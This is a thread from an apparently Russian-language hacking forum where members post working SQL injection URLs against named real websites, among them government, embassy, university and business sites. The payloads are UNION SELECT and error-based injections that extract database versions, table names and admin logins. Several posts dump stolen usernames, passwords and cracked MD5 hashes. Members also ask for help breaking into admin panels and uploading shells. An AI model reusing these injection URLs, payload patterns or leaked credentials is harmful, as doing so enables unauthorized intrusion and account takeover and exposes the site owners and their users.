SQL Инъекции

Discussion in 'Уязвимости' started by yarbabin, 27 Apr 2015.

  1. SaNDER

    SaNDER Banned

    Joined:
    9 Jul 2015
    Messages:
    213
    Likes Received:
    15
    Reputations:
    3
    Code:
    http://www.rubin69.ru/news.php?id=(1)and(select+1+from(select+count(*),concat((select%20@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--
    5.6.33-79.0-log1 .
     
    Gorev likes this.
  2. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    68
    Likes Received:
    25
    Reputations:
    18
    Code:
    http://www.afghanembassyjp.org/jp/news/?an=-12+union+select+1,database(),3,4,5,6,7,8--
     
  3. HeReTiC

    HeReTiC Member

    Joined:
    21 Sep 2007
    Messages:
    18
    Likes Received:
    42
    Reputations:
    8
    Code:
    http://www.divorcemed.com/FAQ/divorce-mediation-faq-2.php?faq_id=-4+union+select+1,2,concat(username,0x3a,password),4,5,6+from+users+limit+1,1--
    
     
  4. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    Code:
    http://www.so-toulouse.com/organiser-sa-venue/les-acteurs-par-categorie/agences/fiche-agence/acteur/pgo/-9+union+select+1,2,3,4,5,6,7,8,9,user(),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+--+.html#.WJR_cENMIb8
     
  5. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    68
    Likes Received:
    25
    Reputations:
    18
    Code:
    http://www.dublinsquarepub.com/news.php?id=-1+union+select+1,version(),database(),4,5,6--
     
  6. pw0ned

    pw0ned Member

    Joined:
    8 Jan 2016
    Messages:
    118
    Likes Received:
    48
    Reputations:
    14
    Code:
    http://www.drinksontario.com/memberinfo.php?id=-70+union+select+all+1,2,3,4,5,6,7,8,9,10,database(),version(),13,14
    Code:
    http://bellasamui.com/koh-samui-shopping.php?id=-8+union+select+all+1,2,3,database(),version(),6
    Code:
    http://yggdrasilrecords.net/releases.php?id=-5+union+select+all+1,database(),version()
     
  7. pw0ned

    pw0ned Member

    Joined:
    8 Jan 2016
    Messages:
    118
    Likes Received:
    48
    Reputations:
    14
    Code:
    http://www.bestrent.fi/en/book-now.php?id=-304+union+select+all+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,database(),16,17,18,19,20,21
    Code:
    http://nightgallery.ca/artist.php?id=-98+union+select+all+1,version(),database(),4,5,6,7,8,9
    Code:
    http://www.nbrri.gov.ng/sites/news.php?ID=-57+union+select+all+1,2,3,4,5,6,7,8,9,10,11,12
     
  8. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    68
    Likes Received:
    25
    Reputations:
    18
    Вот вам тайский универ
    Code:
    http://www.maireang.ac.th/detail.php?id=-9+union+select+1,2,3,version(),5,6,7,8--
    
    
     
  9. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    68
    Likes Received:
    25
    Reputations:
    18
    University of Sheffield Film Unit
    Code:
    http://filmunit.union.shef.ac.uk/film.php?id=-392+union+select+1,2,3,4,@@version,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
     
  10. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    68
    Likes Received:
    25
    Reputations:
    18
    Code:
    http://www.valiani.com/manual_detail.php?ID=-5+union+select+1,2,3,concat_ws(0x3a,version(),database()),5,6,7--
     
    Gorev likes this.
  11. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    68
    Likes Received:
    25
    Reputations:
    18
    Code:
    http://www.lotus-invest.ps/more-news.php?id=-7+union+select+1,2,version(),4,5,6--
    P.S. Народ, вы где?
     
  12. Dri-M

    Dri-M New Member

    Joined:
    25 Nov 2012
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
  13. Dri-M

    Dri-M New Member

    Joined:
    25 Nov 2012
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    Так и не нашел админку...
    http://www.sonic360.com/artist.news.inc.php?id=
    admin username password
    0 sonic360 dontwalkrun
    0 shari tammy0516
    0 Catherine sachets
    1 eva brickwall
    0 alex michael
    0 chug telephone
    0 Jennifer sahsheem
    0 Kinky sonic
    0 Chris tribune
    0 jack arctic
    0 sara sonic
    0 Hana zencito1
    0 Zen arctic
    0 Electric Geisha dontwalkrun

    у кого получится залиться - отпишитесь...
     
  14. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    68
    Likes Received:
    25
    Reputations:
    18
    Code:
    http://www.hier.iif.hu/hu/educatio_reszletes.php?id=-51+union+select+1,2,version(),4,5,6,7,8,9,10,11--
    P.S. Тут выставляем только найденный и раскрученные скули!!! Хватит флудить в теме!!!
     
    HAXTA4OK likes this.
  15. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    DA63
    Code:
    https://www.stmoritz.ch/en/st-moritz/event-calendar/details/?no_cache=1&print=1&cHash=46001ddfd00d1f1a92cc4128d684e94c&event_id=4693067+and(select+1+from(select+count(*),concat((select+(select+concat(usr_login_name,0x3a,usr_password))+from+adm_users+limit+1,1),floor(rand(0)*2))x+from+adm_users+group+by+x)a)+and+1=1
     
    Gorev, sepo and palec2006 like this.
  16. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    68
    Likes Received:
    25
    Reputations:
    18
    Philippine Government
    Government Procurement Policy Board
    Code:
    http://www.gppb.gov.ph/opinions/view_nonpolicy.php?id=-566%27+union+select+1,version(),3,4,user(),database()+--+
     
  17. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    244
    Likes Received:
    450
    Reputations:
    145
    Code:
    https://stat.internet.su/
    Имя пользователя: ' OR 1=1 -- 
     
  18. Mike 007

    Mike 007 Elder - Старейшина

    Joined:
    4 Apr 2007
    Messages:
    58
    Likes Received:
    47
    Reputations:
    -4
    http://www.samotur.ru/infoitem.php?id=-2'
    login | password |
    +-------+----------------------------------+
    | alla | ad8c99842233c9c92562a5f86a903de7 | aLLa201a
    | burov | 5bafe1d92ecd0b0600863a24080fd4c7 | kos007
    | vinos | 13fe46af14424ebb6f18bfd8521dc4f6 | samot109
    | voron | 74f5f88a4166932d779f73fd0085d82e | corvux
    +-------+----------------------------------+
    voron 9addf7b94451563383e03ef5e602b401 MD5 : slowbeat19

    не получилось зайти правда)
    http://www.samotur.ru/admin
    кто подскажет, в чём проблема?

    http://profstud.zabgu.ru/view_actual.php?id=-1'
    Administrator | f7999a0b10f3783fa848fea8fbeb6a18fa2wm8 | [email protected] | Сергей | Воронин
    есть мысли по поводу хеша?)
     
    #138 Mike 007, 23 Apr 2017
    Last edited: 23 Apr 2017
  19. Mike 007

    Mike 007 Elder - Старейшина

    Joined:
    4 Apr 2007
    Messages:
    58
    Likes Received:
    47
    Reputations:
    -4
    http://yggdrasilrecords.net/artists.php?id=-1+union+select+concat(0x3a,(user())),database(),3
    Table: ygg_sys_users
    [5 columns]
    +-------------+---------------------+
    | Column | Type |
    +-------------+---------------------+
    | displayname | varchar(255) |
    | group_id | tinyint(3) unsigned |
    | password | varchar(128) |
    | user_id | tinyint(3) unsigned |
    | username | varchar(64) |
    +-------------+---------------------+
    помогите раскрутить до конца)
     
  20. Печа

    Печа Member

    Joined:
    9 May 2015
    Messages:
    39
    Likes Received:
    23
    Reputations:
    17
    Всякие форексы
    Code:
    http://supertrader.co.th/season3/article-detail.php?id=-1 union all select 1,version(),3,4,5,group_concat(table_name),7,8,9,10,11,12 from information_schema.tables where table_schema=database() --+ 
    26 таблиц:
    account
    bannercategory
    bannerhome
    battle
    gallery
    gallerycategory
    member
    ***
    userlogin
    websiteinfo

    sptrader_season3|5.1.73|supertrad_db3@localhost

    Code:
    http://www.thaiforexschool.com/view-article.php?id=1'+union+all+select+group_concat(table_name) from information_schema.tables where table_schema=database()+--+&name=Divergence%20Trading 
    28 таблиц:
    admin_management
    answer
    article
    books
    categorytest
    course2013
    ***
    member
    news
    nt_act
    nt_act1
    nt_photo
    nt_photo1
    question
    register_course
    student_do_pre

    thaiforex_smf|5.1.65|thaiforex@localhost

    Code:
    https://www.worldforexbrokers.com/wf-directory/post-detail.php?id=84' AND (select 1 from(select count(*), concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 54,1),0x3a,0x3a, floor(rand()*2))a from information_schema.tables group by a)b) --+ 
    55 таблиц
    0,1::wfbrokers_admin::
    1,1::wfbrokers_advertisements::
    2,1::wfbrokers_advertisementstypes::
    3,1::wfbrokers_announcement::
    4,1::wfbrokers_assignbroker::
    5,1::wfbrokers_bankrates::
    6,1::wfbrokers_banner::
    ***
    54,1::wfbrokers_videos:: 

    ::worldforex_livedb::5.6.35-cll-lve::wfblivedbusr@localhost::
     
    #140 Печа, 29 Apr 2017
    Last edited: 29 Apr 2017